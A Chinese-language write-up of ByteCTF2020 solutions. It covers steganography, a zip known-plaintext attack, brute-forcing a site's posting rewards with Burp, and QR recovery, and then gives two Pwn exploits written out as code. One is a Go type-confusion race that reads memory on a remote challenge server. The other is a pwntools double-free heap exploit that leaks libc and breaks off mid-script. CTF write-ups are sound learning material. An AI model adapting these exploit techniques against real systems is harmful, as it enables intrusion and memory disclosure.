ByteCTF2020

ByteCTF2020


[toc]

Misc

girl_gift

1

Description

隔壁老哥发我一个压缩包,听说是暗恋已久的妹子送给我的,赶紧打开来看看……

附件链接:https://pan.baidu.com/s/1p05NI_qdCjJmgWyHAzyudg 密码: t7aw
备用下载:https://drive.google.com/drive/folders/1X2OxBpJ0M0ha6H-CGWWSKQ7IJAytv9Hq?usp=sharing

Analyze

首先拿到两个文件
1和2
发现2的 文件头出现了script命令
经过搜索发现,1文件的意义是时间戳 , 2文件是输出的命令
那么重放整个命令

script 1 2

能在命令中发现flag 1 2 3 4 part
那么题取这些东西,

**This is the first part of flag**

GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KMSS\QP_JJ]KSS\QP__JJKSS\QP___JJSS\QP____JJJSS\QP____JJJSS\QP___
CQE_PSVJ^COJCE_PSJ^^COJE__PJ^^^COE___PJ^^^OEE__PJJ^^^EEE__PPJJ^^^EEE__PPJJ^^^EEE
HTXZQDDUTZUXHXZQDUTTZUXXZZQDUTTZUXZZZQDUTZUUXZZQDDUTZUXXZZQQDDUTZUXXZZQQDDUTZUXX
EYZIHVFQ[K`CEZIHVQ[K`CEZIIHV[K`CEZZIIHV[`CCEZZIIV[`CCEZZZIIIV[`CCEZZZIIIV[`CCEZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYWSSMFZCDHHYWSMMFZCDHHYWSMMZCCDHHHYWSMMZCCDHHHYWSMMZCC
ZNFDRGB`JKZVZFDRGB`JKZVFDDRB``JKZVFDDR```JKZVFDR````JZVVFDRR````JZVVFDRR````JZVV
NQAQLHPZQ\X`NAQLHPZQ\X`AQQLPZQ\X`AQQQPZZQ\X`AQQQZZQ\X``AQQQQZZQ\X``AQQQQZZQ\X``A
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[R\]WNKK\AA[\]]WNK\AAA[]]WNK\\AA[]]WNK\\\AA[[]]WNK\\\AA[[]]WNK\\\
`YCILI^CE[QU`CILI^CE[Q`CCIL^CCE[QCCCI^CCCE[CCCC^CCCCE[CCCC^^CCCCE[CCCC^^CCCCE[CC
UBIKIDP^E[ZMUIKIDP^E[MUUIKIP^^E[MUIIKP^^^E[MUIIP^^^^E[MUIIPP^^^^E[MUIIPP^^^^E[MU
E^\CLHAQBGEDE\CLHAQBEDDE\CLAQBEDDE\\CAQBEDDEE\\AQBEDDEEE\\AAQBEDDEEE\\AAQBEDDEEE
JYB_V_B`LP_RJB_V_B`P__RJB_V_B`P__JBB__BB`P_JBBB__BB`PJBBBB___BB`PJBBBB___BB`PJBB
NCLD`^KRCE[]NLD`^KCEE[]NLD`^KCEE[NLLD^KKCEENLLL^KKKCENLLLL^^KKKCENLLLL^^KKKCENLL
]L[\[Z`EFM[[][\[ZEFFM[[][\[ZEFFM[][[\[EFFM[]][[\EFFM[]]][[\\EFFM[]]][[\\EFFM[]]]
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP[OOOMT^MMEPOOOMT^^MMPOOOMT^^^MPOOOOM^^^^MPPOOOOM^^^^MPPOOOOM^^^
NRT[MDN^PW]QNT[MD^PPW]QT[[M^PPPW]T[[[^PPPPW]T[[^PPPPP]TT[[^^PPPPP]TT[[^^PPPPP]TT
PB_VZWTFO\WMP_VZWFOO\WM_VVZWFOO\W_VVVWFFOO\W_VVWFFFOOW__VVWWFFFOOW__VVWWFFFOOW__
BPZRZ[IDK_ZIBZRZ[DK_ZIBZRRZ[D_ZIBZZRR[D_ZIBZZZR[D_ZIBZZZZR[[D_ZIBZZZZR[[D_ZIBZZZ
ET_^__[\VEXJE_^__[\VEXJ_^^__[\VEX_^^^__[\VE_^^^^__[\V_^^^^^^__[\V_^^^^^^__[\V_^^
U^PS_XCI_T^KUPS_XCI_T^KPSS_CII_T^PSSSCIII_TPSSSSCIII_PSSSSSSCIII_PSSSSSSCIII_PSS
WC[EWYLWFQ[RW[EWYLWFQ[R[EEWYWFQ[R[[EEWWFQ[R[[[EEWWFQ[[[[[EEEWWFQ[[[[[EEEWWFQ[[[[
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HHPOLVEEPMHHPOLVVEEMHHPOLVVVEMHHPOLVVVVEMMHHPOLVVVVEMMHHPOLVVV
CHW`JCNJPBA]CW`JCJPPBA]W``JJPPPBAW```JJPPPAWW``JJJPPPWWW``JJJJPPPWWW``JJJJPPPWWW
FTNGYQUBSSBOFNGYQBSSSBONGGYBSSSSBONGGYBSSSBBONGYBBSSSBOONGYYBBSSSBOONGYYBBSSSBOO
MNIEI[AASKU]MIEI[ASKU]MIEEIASKU]MIIEEIASU]]MIIEIASU]]MMIIEIIASU]]MMIIEIIASU]]MMI
]KN^CSAY^D[S]N^CSAY^D[SN^^CAYY^D[N^^^CAY^^D[N^^CAAY^^[NN^^CCAAY^^[NN^^CCAAY^^[NN
XG_`WRUAVMKDX_`WRUAVMKD_``WUAAVMK_```WAAAVMK_``WAAAAVK__``WWAAAAVK__``WWAAAAVK__
KGWLGEWRBGLYKWLGEWRBGLYWLLGERBGLYWWLLERRBGLYWWLERRBGLYYWWLEERRBGLYYWWLEERRBGLYYW
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB

**This is the second part of flag**

GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KMS\QPE__J]MSS\QP___J]SS\QP____JSS\QP_____JJSS\QP_____JJSS\QP___
CQE_PSVJ^COJCE_PSJ^^COJCE_PJ^^^COCEE_J^^^^CCEEEJ^^^^^CEEEEJJ^^^^^CEEEEJJ^^^^^CEE
HTXZQDDUTZUXHXZQDUTTZUXHXZQUTTTZUHXXZUTTTTZUHXXUTTTTTUHHXXUUTTTTTUHHXXUUTTTTTUHH
EYZIHVFQ[K`CEZIHVQ[K`CEZZIHQ[K`CEZZZIQ[K`CEZZZZI[K`CEZZZZZII[K`CEZZZZZII[K`CEZZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYNWSMFZDHHHNWWSMFDHHHNWWWSMDHHHHNNWWWSMDHHHHNNWWWSMDHH
ZNFDRGB`JKZVZFDRG`JJKZVFDDRG`JJKZFDDDG``JJKFDDDG```JJFDDDDGG```JJFDDDDGG```JJFDD
NQAQLHPZQ\X`NAQLHPQ\X`NAAQLHPQ\X`AAAQLPQ\X`AAAAQPQ\X`AAAAAQQPQ\X`AAAAAQQPQ\X`AAA
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[RN]WNKK\\A[R]WNKK\\\AR]WNKK\\\\R]WNKK\\\\\RR]WNKK\\\\\RR]WNKK\\\
`YCILI^CE[QU`CILICEE[QUCIILCEEE[QCIIICEEEE[QCIICEEEEE[QCIICCEEEEE[QCIICCEEEEE[QC
UBIKIDP^E[ZMUIKIDP^E[ZMIKKIDP^E[ZIKKKDPP^E[ZIKKDPPP^E[ZIKKDDPPP^E[ZIKKDDPPP^E[ZI
E^\CLHAQBGEDE\CLHAQGEDE\\CLHAGEDE\\\CHAGEDE\\\\HAGEDDE\\\\HHAGEDDE\\\\HHAGEDDE\\
JYB_V_B`LP_RJB_V_B`LP_RB__V_B`LP_B___V_B`LPB___V__B`LPB___VV__B`LPB___VV__B`LPB_
NCLD`^KRCE[]NLD`^RCCE[]LDD`RCCCE[LDDDRCCCCELDDDRCCCCCELDDDRRCCCCCELDDDRRCCCCCELD
]L[\[Z`EFM[[][\[Z`FM[[][[\[ZFM[[][[[\[FM[[][[[[[FFM[[][[[[[[FFM[[][[[[[[FFM[[][[
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP]OOMT]^^ME]OOMT]^^^M]OOOMT^^^^MOOOMT^^^^^MMOOOMT^^^^^MMOOOMT^^^
NRT[MDN^PW]QNT[MD^PPW]QT[[MD^PPWQTT[[D^^PPWTTT[D^^^PPTTTT[DD^^^PPTTTT[DD^^^PPTTT
PB_VZWTFO\WMP_VZWFOO\WMP_VZWFOOWMMP_VWFFOOWMPP_WFFFOOMPPP_WWFFFOOMPPP_WWFFFOOMPP
BPZRZ[IDK_ZIBZRZ[DK_ZIBZZRZ[DKZIIBZZR[DKZIIBZZZRDKZIIBZZZZRRDKZIIBZZZZRRDKZIIBZZ
ET_^__[\VEXJE_^__\VVEXJ_^^__\VEEXJ_^^__\VEEJ__^^__\VEJ___^^^__\VEJ___^^^__\VEJ__
U^PS_XCI_T^KUPS_XI__T^KPSS_X___T^KPSS_X___TKPPS_XX___KPPPS__XX___KPPPS__XX___KPP
WC[EWYLWFQ[RW[EWYLFQ[RW[[EWLFFQ[RW[[EWLFFQ[W[[[ELFFQ[WW[[[EELFFQ[WW[[[EELFFQ[WW[
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HPOL_VVEPMHPOL_VVVEPHPOL_VVVVEPPOOL_VVVVEEPPOOL_VVVVEEPPOOL_VV
CHW`JCNJPBA]CW`JCJPPBA]CW`JJPPPBACWW`JPPPPBCWWWJPPPPPBCWWWJJPPPPPBCWWWJJPPPPPBCW
FTNGYQUBSSBOFNGYQBSSSBOFNGYQBSSSBFNNGYQBSSSFNNNGYBSSSSFNNNGGYBSSSSFNNNGGYBSSSSFN
MNIEI[AASKU]MIEI[ASKU]MIIEI[SKU]MIIIEI[KU]MIIIIEIKUU]MIIIIEEIKUU]MIIIIEEIKUU]MII
]KN^CSAY^D[S]N^CSAY^D[SN^^CAYY^D[SN^^CAYY^DSNN^^CYYY^DSNN^^^CYYY^DSNN^^^CYYY^DSN
XG_`WRUAVMKDX_`WRAVVMKD_``WAVVVMKD_``AVVVVMD__``AVVVVMD__```AVVVVMD__```AVVVVMD_
KGWLGEWRBGLYKWLGEWBGLYKWWLGWBGLYKWWWLGBGLYKWWWWGBGLYKKWWWWGGBGLYKKWWWWGGBGLYKKWW
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB

**This is the third part of flag**

GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KMSS\QP_JJ]KSS\QP__JJKSS\QP___JJSS\QP____JJJSS\QP____JJJSS\QP___
CQE_PSVJ^COJCE_PSJ^^COJE__PJ^^^COE___J^^^^COE__J^^^^^OEE__JJ^^^^^OEE__JJ^^^^^OEE
HTXZQDDUTZUXHXZQDUTTZUXXZZQUTTTZUXXZZUTTTTZUXXZZUTTTTUXXXZZZUTTTTUXXXZZZUTTTTUXX
EYZIHVFQ[K`CEZIHVQ[K`CEZIIHQ[K`CEZZIIQ[K`CEZZZII[K`CEZZZZIII[K`CEZZZZIII[K`CEZZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYWSSMFZDHHHYWSSMFDHHHYWWSSMFDHHHYYWWSSMFDHHHYYWWSSMFDH
ZNFDRGB`JKZVZFDRGB`JKZVFDDRB``JKZFDDDB```JKFDDDB````JKFDDDBB````JKFDDDBB````JKFD
NQAQLHPZQ\X`NAQLHPZQ\X`AQQLHZQ\X`AAQQLZQ\X`AAAQLZQ\X`AAAAQLLZQ\X`AAAAQLLZQ\X`AAA
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[RN]WNKK\\A[RNWNNKK\\[RNWNNNKK\[RNWNNNNKK\[RRNWNNNNKK\[RRNWNNNNKK
`YCILI^CE[QU`CILICEE[QUCIILCEE[[QUCILLCEE[QQUILLLCE[QQQUILLLLCE[QQQUILLLLCE[QQQU
UBIKIDP^E[ZMUIKIDP^E[ZMIKKIDPE[[ZMIKKIDPE[ZZMIKKIDP[ZZZMIKKKIDP[ZZZMIKKKIDP[ZZZM
E^\CLHAQBGEDE\CLHAQGEDE\\CLHAGEEDE\\CHAGEEEDE\\HAGEEEEDE\\HHAGEEEEDE\\HHAGEEEEDE
JYB_V_B`LP_RJB_V_B`LP_RB__V_BLPP_RB__V_BLP__RB__V_BP___RB___V_BP___RB___V_BP___R
NCLD`^KRCE[]NLD`^RCCE[]LDD`^RCEE[]LD``^RCE[[]D```^RE[[[]D````^RE[[[]D````^RE[[[]
]L[\[Z`EFM[[][\[Z`FM[[][[\[`FM[[]][[[`FM[[[]][[`FM[[[[]][[``FM[[[[]][[``FM[[[[]]
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP[OOOMT^MME[OOOMT^MMM[OOOOM^MMM[OOOOO^MMMM[[OOOOO^MMMM[[OOOOO^MM
NRT[MDN^PW]QNT[MD^PPW]QT[[M^PPPW]QT[[^PPPPWQTT[^PPPPPQTTT[^^PPPPPQTTT[^^PPPPPQTT
PB_VZWTFO\WMP_VZWFOO\WM_VVZFOOO\WM_VVFOOOO\M__VFOOOOOM___VFFOOOOOM___VFFOOOOOM__
BPZRZ[IDK_ZIBZRZ[DK_ZIBZRRZDK_ZIIBZRRDK_ZIIBZZRDK_ZIIBZZZRDDK_ZIIBZZZRDDK_ZIIBZZ
ET_^__[\VEXJE_^__[\VEXJ_^^_[\\VEXJ_^^_[\\VEJ__^^_[\\VJ___^^^_[\\VJ___^^^_[\\VJ__
U^PS_XCI_T^KUPS_XCI_T^KPSS_CII_T^KPSS_CII_TKPPSS_CII_KPPPSSS_CII_KPPPSSS_CII_KPP
WC[EWYLWFQ[RW[EWYLWFQ[R[EEWLWFQ[R[EEEWLWFQ[[EEEEWLWFQ[EEEEEEWLWFQ[EEEEEEWLWFQ[EE
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HPOL_VVEP_HPOL_VVVEPHPOL_VVVVEPPOOL_VVVVEEPPOOL_VVVVEEPPOOL_VV
CHW`JCNJPBA]CW`JCJPPBA]CW`JJPPPBA]CW`JPPPPB]CCWJPPPPPB]CCWJJPPPPPB]CCWJJPPPPPB]C
FTNGYQUBSSBOFNGYQBSSSBOFNGYBSSSSBOFNGYBSSSSOFFNGYSSSSSOFFNGGYSSSSSOFFNGGYSSSSSOF
MNIEI[AASKU]MIEI[ASKU]MIIEIASKU]]MIIEIAKU]]MMIIEIKUU]]MMIIEEIKUU]]MMIIEEIKUU]]MM
]KN^CSAY^D[S]N^CSAY^D[SN^^CAYY^D[SN^^CAYY^DSNN^^CYYY^DSNN^^^CYYY^DSNN^^^CYYY^DSN
XG_`WRUAVMKDX_`WRAVVMKD_``WAVVVMKD_``AVVVVMD__``AVVVVMD__```AVVVVMD__```AVVVVMD_
KGWLGEWRBGLYKWLGEWBGLYKWWLGWBBGLYKWWLGBBGLYKKWWGBBGLYYKKWWGGBBGLYYKKWWGGBBGLYYKK
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB

**This is the final part of flag**

GJTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTR`KMJN[LSGTRR`KMJN[LSGTRR`KMJN[LS
]KMQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQ\\SP]UMY]MQQ\\SP]UMY]MQQ\\SP]UMY
ER_J]KUMS\QPE_J]KUS\QPE__J]US\QPE___JUS\QPE____US\QPE_____UUS\QPE_____UUS\QPE___
CQE_PSVJ^COJCE_PSJ^^COJE__PJ^^^COJE__J^^^^COJE_J^^^^^COJE_JJ^^^^^COJE_JJ^^^^^COJ
HTXZQDDUTZUXHXZQDDUTZUXXZZQDUUTZUXXZZDUUUTZUXXZDUUUUTZUXXZDDUUUUTZUXXZDDUUUUTZUX
EYZIHVFQ[K`CEZIHVFQK`CEZZIHFQK`CEZZZIFQK`CEZZZZFQK`CCEZZZZFFQK`CCEZZZZFFQK`CCEZZ
EEDHYNWSMFZCEDHYNWSMFZCDHHYNWSMFZDHHHYNWSMFDHHHYNNWSMFDHHHYYNNWSMFDHHHYYNNWSMFDH
ZNFDRGB`JKZVZFDRG`JJKZVFDDR`JJJKZFDDD`JJJJKFDDD`JJJJJKFDDD``JJJJJKFDDD``JJJJJKFD
NQAQLHPZQ\X`NAQLHPQ\X`NAAQLHQ\X`NAAAQLQ\X`NAAAALQQ\X`NAAAALLQQ\X`NAAAALLQQ\X`NAA
VRMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMT^C]XN_TPVMTT^C]XN_TPVMTT^C]XN_TP
CNH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^N\HYWVQMCH^^N\HYWVQMCH^^N\HYWVQM
KJ\A[RN\]WNKK\A[RN]WNKK\\A[N]]WNK\\\AN]]WNK\\\\N]]WNK\\\\\NN]]WNK\\\\\NN]]WNK\\\
`YCILI^CE[QU`CILICEE[QUCIILCEEE[QCIIICEEEE[QCIICEEEEE[QCIICCEEEEE[QCIICCEEEEE[QC
UBIKIDP^E[ZMUIKIDP^E[ZMIKKIP^^E[ZIKKKP^^^E[ZIKKP^^^^E[ZIKKPP^^^^E[ZIKKPP^^^^E[ZI
E^\CLHAQBGEDE\CLHAQGEDE\\CLAQGEDE\\\CAQGEDE\\\\AQGEDDE\\\\AAQGEDDE\\\\AAQGEDDE\\
JYB_V_B`LP_RJB_V_B`LP_RB__V_B`LP_B___V_B`LPB___V__B`LPB___VV__B`LPB___VV__B`LPB_
NCLD`^KRCE[]NLD`^RCCE[]LDD`^RCCE[LDDD^RRCCELDDD^RRRCCELDDD^^RRRCCELDDD^^RRRCCELD
]L[\[Z`EFM[[][\[Z`FM[[][[\[Z`FM[[[[[\[`FM[[[[[[[``FM[[[[[[[[``FM[[[[[[[[``FM[[[[
HTHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHE\JXLNQLGHHEE\JXLNQLGHHEE\JXLNQLG
IZFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRH[M[JHNKIFRRH[M[JHNKIFRRH[M[JHNK
]F^MEP][OOMT]^MEP[OOOMT^MMEPOOOMT^^MMPOOOOM^^^MMOOOOM^^^^MMMOOOOM^^^^MMMOOOOM^^^
NRT[MDN^PW]QNT[MD^PPW]QT[[M^PPPW]T[[[^PPPPWT[[[^PPPPPT[[[[^^PPPPPT[[[[^^PPPPPT[[
PB_VZWTFO\WMP_VZWFOO\WM_VVZFOOO\WM_VVFOOOO\M__VFOOOOOM___VFFOOOOOM___VFFOOOOOM__
BPZRZ[IDK_ZIBZRZ[DK_ZIBZRRZDKK_ZIBZRRDKK_ZIBZZRRKK_ZIBZZZRRRKK_ZIBZZZRRRKK_ZIBZZ
ET_^__[\VEXJE_^__[\VEXJ_^^_[\\VEXJ_^^_[\\VEJ__^^_[\\VJ___^^^_[\\VJ___^^^_[\\VJ__
U^PS_XCI_T^KUPS_XCI_T^KPSS_CII_T^PSSS_CII_TPSSS_CCII_PSSSS__CCII_PSSSS__CCII_PSS
WC[EWYLWFQ[RW[EWYLWFQ[R[EEWYWFQ[R[[EEWYWFQ[[[[EEYWFQ[[[[[EEEYWFQ[[[[[EEEYWFQ[[[[
YGXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVWDMJL]CUYXVVWDMJL]CUYXVVWDMJL]CU
IIATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATACGEWJ\_IATTACGEWJ\_IATTACGEWJ\_
_UVEPMY_HPOL_VEPM_HHPOLVEEP_HHPOLVVEE_HHPOLVVVE_HHPOLVVVVE__HHPOLVVVVE__HHPOLVVV
CHW`JCNJPBA]CW`JCJPPBA]W``JJPPPBA]W``JJPPPA]]W`JJJPPP]]]W`JJJJPPP]]]W`JJJJPPP]]]
FTNGYQUBSSBOFNGYQBSSSBONGGYBSSSSBONGGYBSSSBBONGYBBSSSBOONGYYBBSSSBOONGYYBBSSSBOO
MNIEI[AASKU]MIEI[ASKU]MIEEIASKU]MIIEEIASU]]MIIEIAASU]MIIIEIIAASU]MIIIEIIAASU]MII
]KN^CSAY^D[S]N^CSAY^D[SN^^CSAY^D[N^^^CSY^^D[N^^CSSY^^[NN^^CCSSY^^[NN^^CCSSY^^[NN
XG_`WRUAVMKDX_`WRUAVMKD_``WUAAVMK_```WAAAVMK_``WAAAAVK__``WWAAAAVK__``WWAAAAVK__
KGWLGEWRBGLYKWLGEWRBGLYWLLGERBGLYWWLLERRBGLYWWLERRBGLYYWWLEERRBGLYYWWLEERRBGLYYW
KA`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LM[KO[YGBK`LLM[KO[YGBK`LLM[KO[YGB

在动画中间发现hint \~3\~D\~
搜索得到AA3D


经过搜索发现是一种利用3D图片来隐写文字的一种东西,
发现可以通过更改上述截图的offset来找到隐藏的字符
利用stegsolve可以得到

那么继续如上操作共4个图片。 然后16进制转ascii
得到flag

flag

ByteCTF{Th3_gIR1FR13ND_15_4_LIE}

PT site

Description

Welcome to ByteCTF private file sharing server. Notice that this is not a web challenge.

http://182.92.4.49:30080
http://123.57.66.79:30080

Analyze

进入网站后发现登陆注册等,但是需要邀请码,通过下载特定id的邀请压缩包+阅读文件。
想到可以通过构造前段明文来明文攻击解开压缩包

./bkcrack.exe -C hide.zip -c receipt.txt -P 1.zip -p 1.txt

可以得到密钥

b806c3da c3230410 fc431600

用ARCHPR利用3个密钥解压缩包
得到邀请码成功注册,注册后发现一个种子链接。和后半段flag 被 权限限制住了.


发现VIP可以忽略一切权限问题,8000魔力升vip=8000水贴
那么开刷,Burp 直接instruder模块,10000次拿到权限
买vip得到flag后半段

那么前半段先用bittorrent 下载了种子发现 nfo主要是一些文件信息,然后mp4文件是一个后面flag视频部分损坏的。但是数据都被填充过了。
那么想到了安恒曾出过的百度网盘秒传,利用其中的前 256kb的 md5 文件md5
文件路径 文件大小 成功恢复了 视频文件,得到前半段flag

flag

 ByteCTF{wh4t_aN_eP1c_Tr4i1er_and_a_M4g1c_ch34t3R!!!}

Hardcore Watermark 01

Description

厌烦了用工具解图片题?那么来点硬核的~

链接: https://pan.baidu.com/s/1lKNYV4_X2Aqx8-qPB2Z_uw 密码: 6597
(备用下载:https://drive.google.com/drive/folders/1MsAZfHq2G61AQQCv_CBajmjnPUXlIBIo?usp=sharing

Analyze

开局一张图,丢入stegsolve中发现各个颜色最低位有二维码的印记
因为一开始没什么想法,于是便去找了找原图,发现原图在http://tech.china.com.cn/roll/20200622/367168.shtml 这

丢入stegsolve两图对比进行sub处理后得到(别问为什么是sub,就是因为sub比较清楚)

然后猜测是某一个色域的像素值确定一个二维码,于是脚本画出二维码图发现:

from PIL import Image

p = Image.open('x.bmp')
a,b = p.size

for n in range(3):
    np = Image.new('RGB', (a, b), (255, 255, 255))
    if n == 0:
        for y in range(b):
            for x in range(a):
                if p.getpixel((x,y))[0]>240:
                    np.putpixel((x,y),(255,0,p.getpixel((x,y))[2]))
        np.save('r.png')
    elif n == 1:
        for y in range(b):
            for x in range(a):
                if p.getpixel((x,y))[1]>=240:
                    np.putpixel((x,y),p.getpixel((x,y)))
        np.save('g.png')
    else:
        for y in range(b):
            for x in range(a):
                if p.getpixel((x,y))[2]>240:
                    np.putpixel((x,y),p.getpixel((x,y)))
        np.save('b.png')

r.png:

g.png:

image-20201025210413511

b.png:

然后得到的图经过PS的阙值

image-20201024173306908

得到

image-20201024173336055

同样操作截图并分隔得到三段二维码,将头和尾部反色操作后得:

拼接后得到:

未标题-1

但是并扫不出来,中间有段模糊的

于是用qrazybox手撸二维码:

image-20201024173941454

解码发现:

使用另外一个工具:

image-20201024174055355

得到flag:

image-20201024174124488

flag

ByteCTF{ByteCTF-2020 FLAG!GALF 0202-FTCetyB10001000}

Survey

A good Game。

Checkin

北京 上海 硅谷 杭州 深圳
得到flag

Pwn

leak

类型混淆漏洞,条件竞争存**uintptr*uintptr,改data的值,由于go中普遍不开aslr保护,所以爆搜找到flag的地址,再打印出来即可

#coding:utf-8

from pwn import *
import subprocess
import sys,os,string

p = remote('123.56.96.75',30775)

code = '''
type Mem struct {
    addr *uintptr
    data *uintptr
}
func NewMem() *Mem {
    m := new(Mem)
    var i, j, k interface{}
    i = (*uintptr)(nil)
    j = &m.data
    done := false
    go func() {
        ll := 0
        for !done {
            if ll % 2 == 0{
                k = i
            }else{
                k = j
            }
            ll += 1
        }
    }()
    for {
        if p, ok := k.(*uintptr); ok && p != nil {
            m.addr = p
            done = true
            break
        }
    }
    return m
}
var a *Mem
var i uintptr
var j uintptr
func hack() {
    a=NewMem()
    for i=0; i<=44; i++ {
        *a.addr = 0xc00002c5e8+i*8
        println(*a.data)
    }
}
#
'''
p.sendafter('[*] Now give me your code:', code)

p.recvuntil('[*] Your output:')
print p.recvline()
print p.recv()

p.interactive()
p.close()

gun

load子弹的时候用的是单链表,打完之后没有清空,可以造成double free
(打远程的时候不太稳定,不知道为啥

exp:
#!/usr/bin/python

from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='gun'
libc_name='libc-2.31.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
    #p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
    #p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
    p=remote('123.57.209.176',30772)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def cho(num):
    sla("Action> ",str(num))
def add(size,data):
    cho(3)
    sla("price: ",str(size))
    sla("Name: ",data)
def load(idx):
    cho(2)
    sla("load?",str(idx))
def shoot(idx):
    cho(1)
    sla("time:",str(idx))

sla('Your name: ','aaaaaa')

add(0x500,'a')
add(0x10,'a')
load(0)
shoot(1)
add(0x500,'a')
load(0)
shoot(1)
libc_addr = u64(p.recvline()[10:16]+b'\x00'*2)-0x1ebb61
